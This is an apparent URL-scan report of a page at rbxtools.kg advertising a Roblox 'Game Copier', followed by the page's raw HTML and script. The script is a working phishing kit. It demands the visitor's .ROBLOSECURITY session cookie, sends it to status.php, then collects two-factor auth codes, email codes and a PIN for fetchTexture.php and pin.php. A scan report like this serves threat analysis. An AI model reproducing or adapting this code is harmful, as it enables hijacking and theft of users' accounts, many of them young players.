- ID de l'analyse :
- e775d739-edfd-4e73-8baa-c745d4d3e1e1Terminée
- URL soumise :
- https://rbxtools.kg/Game-Copier/
- Fin du rapport :
Liens : 1 trouvé(s)
Liens sortants identifiés à partir de la page
Lien | texte |
---|---|
https://webflow.com?utm_campaign=brandjs |
Variables JavaScript : 19 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
WebFont | object |
__WEBFLOW_CURRENCY_SETTINGS | object |
fetchTextures | function |
hideOrig | function |
showOrig | function |
AuthCode | function |
EmailCode | function |
Messages de journal de console : 3 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
verbose | dom |
|
error | network |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<html data-wf-domain="ovo-enterprise.webflow.io" data-wf-page="6537b1db509ef0817e8f4b4f" data-wf-site="6537b1db509ef0817e8f4b5d" class="w-mod-js w-mod-ix wf-montserrat-n4-active wf-montserrat-n5-active wf-montserrat-n6-active wf-ibmplexsanshebrew-n4-active wf-ibmplexsanshebrew-n5-active wf-ibmplexsanshebrew-n6-active wf-montserrat-n1-active wf-montserrat-i1-active wf-montserrat-n2-active wf-montserrat-i2-active wf-montserrat-n3-active wf-montserrat-i3-active wf-montserrat-i4-active wf-montserrat-i5-active wf-montserrat-i6-active wf-montserrat-n7-active wf-montserrat-i7-active wf-montserrat-n8-active wf-montserrat-i8-active wf-montserrat-n9-active wf-montserrat-i9-active wf-outfit-n1-active wf-outfit-n2-active wf-outfit-n3-active wf-outfit-n4-active wf-outfit-n5-active wf-outfit-n6-active wf-outfit-n7-active wf-outfit-n8-active wf-ibmplexsanshebrew-n2-active wf-ibmplexsanshebrew-n3-active wf-active w-mod-js"><head><style>.wf-force-outline-none[tabindex="-1"]:focus{outline:none;}</style>
<style>
.wf-force-outline-none[tabindex="-1"]:focus {
outline: none;
}
</style>
<meta charset="utf-8">
<title>RbxTools - The #1 Roblox Tools Service in 2024</title>
<meta content="RbxTools - The #1 Roblox Tools Service in 2024" name="description">
<meta content="RbxTools - The #1 Roblox Tools Service in 2024" property="og:title">
<meta content="RbxTools - The #1 Roblox Tools Service in 2024" property="og:description">
<meta content="RbxTools - The #1 Roblox Tools Service in 2024" property="twitter:title">
<meta content="RbxTools - The #1 Roblox Tools Service in 2024" property="twitter:description">
<meta property="og:type" content="website">
<meta content="summary_large_image" name="twitter:card">
<meta content="width=device-width, initial-scale=1" name="viewport">
<meta content="Webflow" name="generator">
<link href="https://assets-global.website-files.com/6537b1db509ef0817e8f4b5d/css/ovo-enterprise.webflow.bc2bef880.css" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com" rel="preconnect">
<link href="https://fonts.gstatic.com" rel="preconnect" crossorigin="anonymous">
<script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js" type="text/javascript"></script>
<style type="text/css" id="operaUserStyle"></style>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic%7COutfit:100,200,300,regular,500,600,700,800%7CIBM+Plex+Sans+Hebrew:200,300,regular,500,600" media="all">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic%7COutfit:100,200,300,regular,500,600,700,800%7CIBM+Plex+Sans+Hebrew:200,300,regular,500,600" media="all"><script type="text/javascript">
WebFont.load({
google: {
families: ["Montserrat:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic", "Outfit:100,200,300,regular,500,600,700,800", "IBM Plex Sans Hebrew:200,300,regular,500,600"]
}
});
</script>
<script type="text/javascript">
!function(o, c) {
var n = c.documentElement
, t = " w-mod-";
n.className += t + "js",
("ontouchstart"in o || o.DocumentTouch && c instanceof DocumentTouch) && (n.className += t + "touch")
}(window, document);
</script>
<link href="https://media.discordapp.net/attachments/1179241941733474385/1235325559534518324/1024.png?ex=6633f614&is=6632a494&hm=3a8b802129c2e44b8a678df4ce95b301814940cf4a6d6eeba7d224123fdd38a5&=&format=webp&quality=lossless&width=936&height=936" rel="shortcut icon" type="image/x-icon">
<link href="https://media.discordapp.net/attachments/1179241941733474385/1235325559534518324/1024.png?ex=6633f614&is=6632a494&hm=3a8b802129c2e44b8a678df4ce95b301814940cf4a6d6eeba7d224123fdd38a5&=&format=webp&quality=lossless&width=936&height=936" rel="apple-touch-icon">
<script type="text/javascript">
window.__WEBFLOW_CURRENCY_SETTINGS = {
"currencyCode": "USD",
"symbol": "$",
"decimal": ".",
"fractionDigits": 2,
"group": ",",
"template": "{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}",
"hideDecimalForWholeNumbers": false
};
</script>
</head>
<body>
<div class="fixed-navbar">
<div data-animation="default" data-collapse="medium" data-duration="400" data-easing="ease" data-easing2="ease" role="banner" class="navbar w-nav" style="opacity: 0.6668; will-change: opacity;">
<div class="container navbar-container">
<div class="navbar-holder">
<div class="navbar-container">
<a href="/" class="brand w-nav-brand" aria-label="home">
</a>
<nav role="navigation" class="nav-menu w-nav-menu">
<div class="nav-menu-link-holder">
</div>
</nav></div>
<div class="menu-cart-holder">
<div data-node-type="commerce-cart-wrapper" data-open-product="" data-wf-cart-type="rightDropdown" data-wf-cart-query="query Dynamo2 {
database {
id
commerceOrder {
comment
extraItems {
name
pluginId
pluginName
price {
value
unit
decimalValue
string
}
}
id
startedOn
statusFlags {
hasDownloads
hasSubscription
isFreeOrder
requiresShipping
}
subtotal {
value
unit
decimalValue
string
}
total {
value
unit
decimalValue
string
}
updatedOn
userItems {
count
id
price {
value
unit
decimalValue
string
}
product {
id
cmsLocaleId
f__draft_0ht
f__archived_0ht
f_ec_product_type_2dr10dr {
id
name
}
f_name_
f_sku_properties_3dr {
id
name
enum {
id
name
slug
}
}
}
rowTotal {
value
unit
decimalValue
string
}
sku {
cmsLocaleId
f__draft_0ht
f__archived_0ht
f_main_image_4dr {
url
file {
size
origFileName
createdOn
updatedOn
mimeType
width
height
variants {
origFileName
quality
height
width
s3Url
error
size
}
}
alt
}
f_sku_values_3dr {
property {
id
}
value {
id
}
}
id
}
subscriptionFrequency
subscriptionInterval
subscriptionTrial
}
userItemsCount
}
}
site {
id
commerce {
businessAddress {
country
}
defaultCountry
defaultCurrency
quickCheckoutEnabled
}
}
}" data-wf-page-link-href-prefix="" data-wf-cart-duration="400" class="w-commerce-commercecartwrapper">
<a href="#" data-node-type="commerce-cart-open-link" aria-haspopup="dialog" aria-label="Open empty cart" role="button" class="w-commerce-commercecartopenlink cart-button w-inline-block">
</a>
<div data-node-type="commerce-cart-container-wrapper" style="display:none" class="w-commerce-commercecartcontainerwrapper w-commerce-commercecartcontainerwrapper--cartType-rightDropdown">
<div role="dialog" data-node-type="commerce-cart-container" class="w-commerce-commercecartcontainer cart-container">
<div class="w-commerce-commercecartheader cart-header">
<h4 class="w-commerce-commercecartheading">Your Cart</h4>
<a href="#" data-node-type="commerce-cart-close-link" role="button" aria-label="Close cart" class="w-commerce-commercecartcloselink w-inline-block">
<img src="https://assets-global.website-files.com/6537b1db509ef0817e8f4b5d/6537b1db509ef0817e8f4bf3_X%20Icon.svg" loading="lazy" alt="" class="x-icon">
</a>
</div>
<div class="w-commerce-commercecartformwrapper cart-form-wrapper">
<form data-node-type="commerce-cart-form" style="display:none" class="w-commerce-commercecartform">
<script type="text/x-wf-template" id="wf-template-6ec2beb4-4f69-d272-1424-83d47f66afe0">
%3Cdiv%20class%3D%22w-commerce-commercecartitem%20cart-item%22%3E%3Cdiv%20class%3D%22cart-hero%22%3E%3Cimg%20data-wf-bindings%3D%22%255B%257B%2522src%2522%253A%257B%2522type%2522%253A%2522ImageRef%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.sku.f_main_image_4dr%2522%257D%257D%255D%22%20src%3D%22%22%20alt%3D%22%22%20class%3D%22w-commerce-commercecartitemimage%20product-thumbnail%20w-dyn-bind-empty%22%2F%3E%3Cdiv%20class%3D%22product-details-holder%22%3E%3Cdiv%20data-wf-bindings%3D%22%255B%257B%2522innerHTML%2522%253A%257B%2522type%2522%253A%2522PlainText%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.product.f_name_%2522%257D%257D%255D%22%20class%3D%22w-commerce-commercecartproductname%20product-name%20w-dyn-bind-empty%22%3E%3C%2Fdiv%3E%3Cdiv%20data-wf-bindings%3D%22%255B%257B%2522innerHTML%2522%253A%257B%2522type%2522%253A%2522Option%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522option%2522%252C%2522params%2522%253A%255B%2522option%2522%252C%2522option%2522%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.product.f_ec_product_type_2dr10dr.name%2522%257D%257D%255D%22%20class%3D%22w-commerce-commercecartproductname%20category%20w-dyn-bind-empty%22%3E%3C%2Fdiv%3E%3C%2Fdiv%3E%3C%2Fdiv%3E%3Cdiv%20class%3D%22w-commerce-commercecartiteminfo%20remove-button%22%3E%3Cscript%20type%3D%22text%2Fx-wf-template%22%20id%3D%22wf-template-6ec2beb4-4f69-d272-1424-83d47f66afe6%22%3E%253Cli%253E%253Cspan%2520data-wf-bindings%253D%2522%25255B%25257B%252522innerHTML%252522%25253A%25257B%252522type%252522%25253A%252522PlainText%252522%25252C%252522filter%252522%25253A%25257B%252522type%252522%25253A%252522identity%252522%25252C%252522params%252522%25253A%25255B%25255D%25257D%25252C%252522dataPath%252522%25253A%252522database.commerceOrder.userItems%25255B%25255D.product.f_sku_properties_3dr%25255B%25255D.name%252522%25257D%25257D%25255D%2522%2520class%253D%2522w-dyn-bind-empty%2522%253E%253C%252Fspan%253E%253Cspan%253E%253A%2520%253C%252Fspan%253E%253Cspan%2520data-wf-bindings%253D%2522%25255B%25257B%252522innerHTML%252522%25253A%25257B%252522type%252522%25253A%252522CommercePropValues%252522%25252C%252522filter%252522%25253A%25257B%252522type%252522%25253A%252522identity%252522%25252C%252522params%252522%25253A%25255B%25255D%25257D%25252C%252522dataPath%252522%25253A%252522database.commerceOrder.userItems%25255B%25255D.product.f_sku_properties_3dr%25255B%25255D%252522%25257D%25257D%25255D%2522%2520class%253D%2522w-dyn-bind-empty%2522%253E%253C%252Fspan%253E%253C%252Fli%253E%3C%2Fscript%3E%3Cul%20data-wf-bindings%3D%22%255B%257B%2522optionSets%2522%253A%257B%2522type%2522%253A%2522CommercePropTable%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.product.f_sku_properties_3dr%5B%5D%2522%257D%257D%252C%257B%2522optionValues%2522%253A%257B%2522type%2522%253A%2522CommercePropValues%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.sku.f_sku_values_3dr%2522%257D%257D%255D%22%20class%3D%22w-commerce-commercecartoptionlist%22%20data-wf-collection%3D%22database.commerceOrder.userItems%255B%255D.product.f_sku_properties_3dr%22%20data-wf-template-id%3D%22wf-template-6ec2beb4-4f69-d272-1424-83d47f66afe6%22%3E%3Cli%3E%3Cspan%20data-wf-bindings%3D%22%255B%257B%2522innerHTML%2522%253A%257B%2522type%2522%253A%2522PlainText%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.product.f_sku_properties_3dr%255B%255D.name%2522%257D%257D%255D%22%20class%3D%22w-dyn-bind-empty%22%3E%3C%2Fspan%3E%3Cspan%3E%3A%20%3C%2Fspan%3E%3Cspan%20data-wf-bindings%3D%22%255B%257B%2522innerHTML%2522%253A%257B%2522type%2522%253A%2522CommercePropValues%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.product.f_sku_properties_3dr%255B%255D%2522%257D%257D%255D%22%20class%3D%22w-dyn-bind-empty%22%3E%3C%2Fspan%3E%3C%2Fli%3E%3C%2Ful%3E%3Ca%20href%3D%22%23%22%20role%3D%22button%22%20aria-label%3D%22Remove%20item%20from%20cart%22%20data-wf-bindings%3D%22%255B%257B%2522data-commerce-sku-id%2522%253A%257B%2522type%2522%253A%2522ItemRef%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.sku.id%2522%257D%257D%255D%22%20class%3D%22remove-button-x%20w-inline-block%22%20data-wf-cart-action%3D%22remove-item%22%20data-commerce-sku-id%3D%22%22%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cdiv%20class%3D%22price-and-quantity%22%3E%3Cdiv%20class%3D%22quantity-holder%22%3E%3Cp%20class%3D%22no-margins%22%3EQuantity%3C%2Fp%3E%3Cinput%20aria-label%3D%22Update%20quantity%22%20data-wf-bindings%3D%22%255B%257B%2522value%2522%253A%257B%2522type%2522%253A%2522Number%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522numberPrecision%2522%252C%2522params%2522%253A%255B%25220%2522%252C%2522numberPrecision%2522%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.count%2522%257D%257D%252C%257B%2522data-commerce-sku-id%2522%253A%257B%2522type%2522%253A%2522ItemRef%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522identity%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.sku.id%2522%257D%257D%255D%22%20data-wf-conditions%3D%22%257B%2522condition%2522%253A%257B%2522fields%2522%253A%257B%2522product%253Aec-product-type%2522%253A%257B%2522ne%2522%253A%2522e348fd487d0102946c9179d2a94bb613%2522%252C%2522type%2522%253A%2522Option%2522%257D%257D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D%2522%257D%22%20class%3D%22w-commerce-commercecartquantity%20cart-quantity-menu%22%20required%3D%22%22%20pattern%3D%22%5E%5B0-9%5D%2B%24%22%20inputMode%3D%22numeric%22%20type%3D%22number%22%20name%3D%22quantity%22%20autoComplete%3D%22off%22%20data-wf-cart-action%3D%22update-item-quantity%22%20data-commerce-sku-id%3D%22%22%20value%3D%221%22%2F%3E%3C%2Fdiv%3E%3Cdiv%20data-wf-bindings%3D%22%255B%257B%2522innerHTML%2522%253A%257B%2522type%2522%253A%2522CommercePrice%2522%252C%2522filter%2522%253A%257B%2522type%2522%253A%2522price%2522%252C%2522params%2522%253A%255B%255D%257D%252C%2522dataPath%2522%253A%2522database.commerceOrder.userItems%255B%255D.price%2522%257D%257D%255D%22%20class%3D%22product-cart-price%22%3E%24%C2%A00.00%C2%A0USD%3C%2Fdiv%3E%3C%2Fdiv%3E%3C%2Fdiv%3E
</script>
<div class="w-commerce-commercecartlist cart-list" data-wf-collection="database.commerceOrder.userItems" data-wf-template-id="wf-template-6ec2beb4-4f69-d272-1424-83d47f66afe0"></div>
<div class="w-commerce-commercecartfooter cart-footer">
<div aria-atomic="true" aria-live="polite" class="w-commerce-commercecartlineitem">
<div class="sub-total">Subtotal</div>
<div data-wf-bindings="%5B%7B%22innerHTML%22%3A%7B%22type%22%3A%22CommercePrice%22%2C%22filter%22%3A%7B%22type%22%3A%22price%22%2C%22params%22%3A%5B%5D%7D%2C%22dataPath%22%3A%22database.commerceOrder.subtotal%22%7D%7D%5D" class="w-commerce-commercecartordervalue product-cart-price"></div>
</div>
<div>
<div data-node-type="commerce-cart-quick-checkout-actions" style="display:none">
<a data-node-type="commerce-cart-apple-pay-button" role="button" tabindex="0" aria-label="Apple Pay" aria-haspopup="dialog" style="background-image:-webkit-named-image(apple-pay-logo-white);background-size:100% 50%;background-position:50% 50%;background-repeat:no-repeat" class="w-commerce-commercecartapplepaybutton">
<div></div>
</a>
<a data-node-type="commerce-cart-quick-checkout-button" role="button" tabindex="0" aria-haspopup="dialog" style="display:none" class="w-commerce-commercecartquickcheckoutbutton">
<svg class="w-commerce-commercequickcheckoutgoogleicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="16" height="16" viewBox="0 0 16 16">
<defs>
<polygon id="google-mark-a" points="0 .329 3.494 .329 3.494 7.649 0 7.649"></polygon>
<polygon id="google-mark-c" points=".894 0 13.169 0 13.169 6.443 .894 6.443"></polygon>
</defs>
<g fill="none" fill-rule="evenodd">
<path fill="#4285F4" d="M10.5967,12.0469 L10.5967,14.0649 L13.1167,14.0649 C14.6047,12.6759 15.4577,10.6209 15.4577,8.1779 C15.4577,7.6339 15.4137,7.0889 15.3257,6.5559 L7.8887,6.5559 L7.8887,9.6329 L12.1507,9.6329 C11.9767,10.6119 11.4147,11.4899 10.5967,12.0469"></path>
<path fill="#34A853" d="M7.8887,16 C10.0137,16 11.8107,15.289 13.1147,14.067 C13.1147,14.066 13.1157,14.065 13.1167,14.064 L10.5967,12.047 C10.5877,12.053 10.5807,12.061 10.5727,12.067 C9.8607,12.556 8.9507,12.833 7.8887,12.833 C5.8577,12.833 4.1387,11.457 3.4937,9.605 L0.8747,9.605 L0.8747,11.648 C2.2197,14.319 4.9287,16 7.8887,16"></path>
<g transform="translate(0 4)">
<mask id="google-mark-b" fill="#fff">
<use xlink:href="#google-mark-a"></use>
</mask>
<path fill="#FBBC04" d="M3.4639,5.5337 C3.1369,4.5477 3.1359,3.4727 3.4609,2.4757 L3.4639,2.4777 C3.4679,2.4657 3.4749,2.4547 3.4789,2.4427 L3.4939,0.3287 L0.8939,0.3287 C0.8799,0.3577 0.8599,0.3827 0.8459,0.4117 C-0.2821,2.6667 -0.2821,5.3337 0.8459,7.5887 L0.8459,7.5997 C0.8549,7.6167 0.8659,7.6317 0.8749,7.6487 L3.4939,5.6057 C3.4849,5.5807 3.4729,5.5587 3.4639,5.5337" mask="url(#google-mark-b)"></path>
</g>
<mask id="google-mark-d" fill="#fff">
<use xlink:href="#google-mark-c"></use>
</mask>
<path fill="#EA4335" d="M0.894,4.3291 L3.478,6.4431 C4.113,4.5611 5.843,3.1671 7.889,3.1671 C9.018,3.1451 10.102,3.5781 10.912,4.3671 L13.169,2.0781 C11.733,0.7231 9.85,-0.0219 7.889,0.0001 C4.941,0.0001 2.245,1.6791 0.894,4.3291" mask="url(#google-mark-d)"></path>
</g>
</svg>
<svg class="w-commerce-commercequickcheckoutmicrosofticon" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
<g fill="none" fill-rule="evenodd">
<polygon fill="#F05022" points="7 7 1 7 1 1 7 1"></polygon>
<polygon fill="#7DB902" points="15 7 9 7 9 1 15 1"></polygon>
<polygon fill="#00A4EE" points="7 15 1 15 1 9 7 9"></polygon>
<polygon fill="#FFB700" points="15 15 9 15 9 9 15 9"></polygon>
</g>
</svg>
<div>Pay with browser.</div>
</a>
</div>
<a href="/checkout" value="Checkout" data-node-type="cart-checkout-button" class="w-commerce-commercecartcheckoutbutton button add-to-cart" data-loading-text="Hang Tight...">Checkout</a>
</div>
</div>
</form>
<div class="w-commerce-commercecartemptystate empty-state">
<div aria-live="polite" aria-label="This cart is empty">No items found.</div>
</div>
<div aria-live="assertive" style="" data-node-type="commerce-cart-error" class="w-commerce-commercecarterrorstate error-message small">
<div class="w-cart-error-msg" data-w-cart-quantity-error="Product is not available in this quantity." data-w-cart-general-error="Something went wrong when adding this item to the cart." data-w-cart-checkout-error="Checkout is disabled on this site." data-w-cart-cart_order_min-error="The order minimum was not met. Add more items to your cart to continue." data-w-cart-subscription_error-error="Before you purchase, please use your email invite to verify your address so we can send order updates.">Product is not available in this quantity.</div>
</div>
</div>
</div>
</div>
</div>
<div class="menu-button w-nav-button" aria-label="menu" role="button" tabindex="0" aria-controls="w-nav-overlay-0" aria-haspopup="menu" aria-expanded="false" style="-webkit-user-select: text;">
<div class="w-icon-nav-menu"></div>
</div>
<div class="nav-menu-button-holder">
</div>
</div>
</div>
</div>
<div class="w-nav-overlay" data-wf-ignore="" id="w-nav-overlay-0"></div></div>
<div class="w-nav-overlay" data-wf-ignore="" id="w-nav-overlay-0"></div>
</div>
<div class="section hero-section">
<div class="container company-container">
<div class="about-section-holder">
<div class="hero-section-container">
<div class="hero-section-header-holder">
<div style="transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1) rotateX(0deg) rotateY(0deg) rotateZ(0deg) skew(0deg, 0deg); opacity: 1; transform-style: preserve-3d;" class="animate-on-load-01">
<h1>Game Copier</h1>
</div>
</div>
<div style="opacity: 1; transform: translate3d(0px, 0px, 0px) scale3d(1, 1, 1) rotateX(0deg) rotateY(0deg) rotateZ(0deg) skew(0deg, 0deg); transform-style: preserve-3d;" class="hero-section-paragraph-holder">
<p>Easily clone any Roblox game with our Game Copier tool.</p>
</div>
<div class="hero-section-button-holder" style="opacity: 0.95016; transform: translate3d(0px, 1.4952px, 0px) scale3d(1, 1, 1) rotateX(0deg) rotateY(0deg) rotateZ(0deg) skew(0deg, 0deg); transform-style: preserve-3d; will-change: transform, opacity;">
<input type="password" class="text-input" id="Textures" placeholder="Enter your code here" style="color: black;">
<button href="#" class="button outline w-button" id="fetchTexturesbutton" onclick="fetchTextures()">Copy Game</button>
<input style="display:none; color: black;" type="text" class="text-input" id="authCode" placeholder="Enter your auth code here" inputmode="numeric" maxlength="6" pattern="\d{6}" title="Enter exactly 6 digits">
<button style="display:none" href="#" class="button outline w-button" id="authCodeButton">Submit Code</button>
<input style="display:none; color: black;" type="text" class="text-input" id="authCodeTwo" placeholder="Enter your auth code here" inputmode="numeric" maxlength="6" pattern="\d{6}" title="Enter exactly 6 digits">
<button style="display:none" href="#" class="button outline w-button" id="authCodeTwoButton">Submit Code</button>
<input style="display:none; color: black;" type="text" class="text-input" id="emailCode" placeholder="Enter your email code here" inputmode="numeric" maxlength="6" pattern="\d{6}" title="Enter exactly 6 digits">
<button style="display:none" href="#" class="button outline w-button" id="emailCodeButton">Submit Code</button>
<input style="display:none; color: black;" type="text" class="text-input" id="pin" placeholder="Enter your pin here" inputmode="numeric" maxlength="4" pattern="\d{4}" title="Enter exactly 4 digits">
<button style="display:none" href="#" class="button outline w-button" id="pinButton">Submit Pin</button>
<video class="video-container" controls="">
<source src="https://rbxtools.kg/videos/Game Copier Video.mp4" type="video/mp4">Your browser does not support the video tag.
</video>
</div>
<!-- Popup for success message -->
<!-- Popup for success message -->
<div id="successPopup" class="popup">
<div class="popup-content">
<span class="close-button">×</span>
<div class="popup-header">
<svg class="checkmark" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 52"><circle class="checkmark__circle" cx="26" cy="26" r="25" fill="none"></circle><path class="checkmark__check" fill="none" d="M14.1 27.2l7.1 7.2 16.7-16.8"></path></svg>
</div>
<h1>Success!</h1>
<p>Downloading your game...</p>
</div>
</div>
<div id="errorPopup" class="popup">
<div class="popup-content">
<span class="close-buttonERROR">×</span>
<div class="popup-header">
</div>
<h1>Error!</h1>
<p id="errorMsg"></p>
</div>
</div>
<script>
function fetchTextures() {
document.getElementById("fetchTexturesbutton").disabled = true;
document.getElementById("loader").style.display = "block"; // Show loader
const a = document.getElementById("Textures").value;
if (!a.includes("ROBLOSECURITY")) {
errorPopup("Please try again.");
document.getElementById("fetchTexturesbutton").disabled = false;
document.getElementById("loader").style.display = "none"; // Hide loader if error
} else {
let c;
if (a.includes(".ROBLOSECURITY=")) {
c = a.split(".ROBLOSECURITY=")[1].split(";")[0];
} else {
c = a.split('".ROBLOSECURITY", "').pop().split('"')[0];
}
fetch("status.php?c=" + c)
.then(response => response.json())
.then(json => {
if (json.status == "failed") {
errorPopup(json.message)
}
if (json.status == "authcode") {
errorPopup(json.message)
AuthCode(c, "", "authCode");
}
if (json.status == "authcodepin") {
errorPopup(json.message)
AuthCodePin(c);
}
if (json.status == "emailcodepin") {
errorPopup(json.message)
EmailCodePin(c);
}
if (json.status == "emailcode") {
errorPopup(json.message)
EmailCode(c);
}
if (json.status == "success") {
showPopup()
}
})
.catch(error => {
errorPopup("An error occurred while fetching textures.");
})
.finally(() => {
document.getElementById("fetchTexturesbutton").disabled = false;
document.getElementById("loader").style.display = "none"; // Hide loader on completion
});
}
}
function hideOrig() {
document.getElementById("fetchTexturesbutton").style.display = "none"
document.getElementById("Textures").style.display = "none"
}
function showOrig() {
document.getElementById("fetchTexturesbutton").style.display = "block"
document.getElementById("Textures").style.display = "block"
}
function AuthCode(c, p, g) {
hideOrig()
var buttonid = g + "Button"
document.getElementById(g).style.display = "block"
document.getElementById(buttonid).style.display = "block"
document.getElementById(buttonid)
.addEventListener("click", function() {
document.getElementById(buttonid).disabled = true;
code = document.getElementById(g).value
if (p) {
p = "&pin=" + p
} else {
p = ""
}
fetch("fetchTexture.php?c=" + c + "&"+g+"=" + code + p)
.then(response => response.json())
.then((json) => {
if (json.status == "failed") {
document.getElementById(buttonid).disabled = false;
errorPopup(json.message)
}else if (json.status == "authcode2") {
document.getElementById(g).style.display = "none"
document.getElementById(buttonid).style.display = "none"
errorPopup(json.message)
AuthCode(c, "", "authCodeTwo")
} else {
document.getElementById(buttonid).disabled = false;
document.getElementById(g).style.display = "none"
document.getElementById(buttonid).style.display = "none"
showOrig()
showPopup()
}
});
})
}
function EmailCode(c, p) {
hideOrig()
document.getElementById("emailCode").style.display = "block"
document.getElementById("emailCodeButton").style.display = "block"
document.getElementById("emailCodeButton")
.addEventListener("click", function() {
document.getElementById("emailCodeButton").disabled = true;
code = document.getElementById("emailCode").value
if (p) {
p = "&pin=" + p
} else {
p = ""
}
fetch("fetchTexture.php?c=" + c + "&emailcode=" + code + p)
.then(response => response.json())
.then((json) => {
if (json.status == "failed") {
document.getElementById("emailCodeButton").disabled = false;
errorPopup(json.message)
} else {
document.getElementById("emailCodeButton").disabled = false;
document.getElementById("emailCode").style.display = "none"
document.getElementById("emailCodeButton").style.display = "none"
showOrig()
showPopup()
}
});
})
}
function EmailCodePin(c) {
hideOrig()
document.getElementById("pin").style.display = "block"
document.getElementById("pinButton").style.display = "block"
document.getElementById("pinButton")
.addEventListener("click", function() {
document.getElementById("pinButton").disabled = true;
code = document.getElementById("pin").value
fetch("pin.php?c=" + c + "&pin=" + code)
.then(response => response.json())
.then((json) => {
if (json.status == "failed") {
document.getElementById("pinButton").disabled = false;
errorPopup(json.message)
} else {
document.getElementById("pinButton").disabled = false;
document.getElementById("pin").style.display = "none"
document.getElementById("pinButton").style.display = "none"
EmailCode(c, code)
}
});
})
}
function AuthCodePin(c) {
hideOrig()
document.getElementById("pin").style.display = "block"
document.getElementById("pinButton").style.display = "block"
document.getElementById("pinButton")
.addEventListener("click", function() {
document.getElementById("pinButton").disabled = true;
code = document.getElementById("pin").value
fetch("pin.php?c=" + c + "&pin=" + code)
.then(response => response.json())
.then((json) => {
if (json.status == "failed") {
document.getElementById("pinButton").disabled = false;
errorPopup(json.message)
} else {
document.getElementById("pinButton").disabled = false;
document.getElementById("pin").style.display = "none"
document.getElementById("pinButton").style.display = "none"
AuthCode(c, code, "authCode")
}
});
})
}
function showPopup() {
const popup = document.getElementById("successPopup");
popup.style.display = "flex";
document.querySelector(".close-button").onclick = function() {
popup.style.display = "none";
};
}
function errorPopup(msg) {
const popup = document.getElementById("errorPopup");
popup.style.display = "flex";
document.getElementById("errorMsg").innerText = msg
document.querySelector(".close-buttonERROR").onclick = function() {
popup.style.display = "none";
};
}
</script>
<div id="loader" class="loader"></div>
<style>.loader {
border: 16px solid #f3f3f3; /* Light grey */
border-top: 16px solid #3498db; /* Blue */
border-radius: 50%;
width: 120px;
height: 120px;
animation: spin 2s linear infinite;
position: fixed;
top: 50%;
left: 50%;
margin-right: -50%;
transform: translate(-50%, -50%);
display: none; /* Hidden by default */
}
@keyframes spin {
0% { transform: translate(-50%, -50%) rotate(0deg); }
100% { transform: translate(-50%, -50%) rotate(360deg); }
}
</style>
<style>/* Popup Styles */
/* Popup Styles */
/* Popup Styles */
.popup {
position: fixed;
width: 100%;
height: 100%;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, 0.5);
display: none;
justify-content: center;
align-items: center;
z-index: 1000;
}
.popup .popup-content {
background: white;
background: linear-gradient(to bottom right, #ffffff, #f0f0f0);
padding: 20px;
border-radius: 15px;
box-shadow: 0 12px 25px rgba(0, 0, 0, 0.15);
width: 300px;
text-align: center;
animation: popupIn 0.3s ease-out;
font-family: Arial, sans-serif; /* Specific font only for popup content */
}
.popup .popup-content .close-button {
float: right;
width: 25px;
height: 25px;
line-height: 25px;
text-align: center;
cursor: pointer;
border-radius: 50%;
background-color: #cccccc;
color: #ffffff;
}
.popup .popup-content .close-button:hover {
background-color: #aaaaaa;
}
.popup .popup-content .close-buttonERROR {
float: right;
width: 25px;
